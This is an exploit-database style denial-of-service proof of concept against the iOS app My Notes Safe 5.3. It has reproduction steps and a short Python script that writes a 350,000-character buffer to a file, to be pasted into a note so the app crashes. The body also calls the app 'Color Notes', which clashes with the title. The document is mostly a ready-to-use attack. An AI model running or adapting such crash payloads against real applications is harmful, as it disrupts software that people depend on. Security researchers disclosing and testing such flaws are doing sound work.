# Exploit Title: My Notes Safe 5.3 - Denial of Service (PoC) # Date: 06-04-2021 # Author: Geovanni Ruiz # Download Link: https://apps.apple.com/us/app/my-notes-safe/id689971781 # Version: 5.3 # Category: DoS (iOS) ##### Vulnerability ##### Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note: # STEPS # # Open the program. # Create a new Note. # Run the python exploit script payload.py, it will create a new payload.txt file # Copy the content of the file "payload.txt" # Paste the content from payload.txt twice in the new Note. # Crashed Successful exploitation will cause the application to stop working. I have been able to test this exploit against iOS 14.2. ##### PoC ##### --> payload.py <-- #!/usr/bin/env python buffer = "\x41" * 350000 try: f = open("payload.txt","w") f.write(buffer) f.close() print ("File created") except: print ("File cannot be created")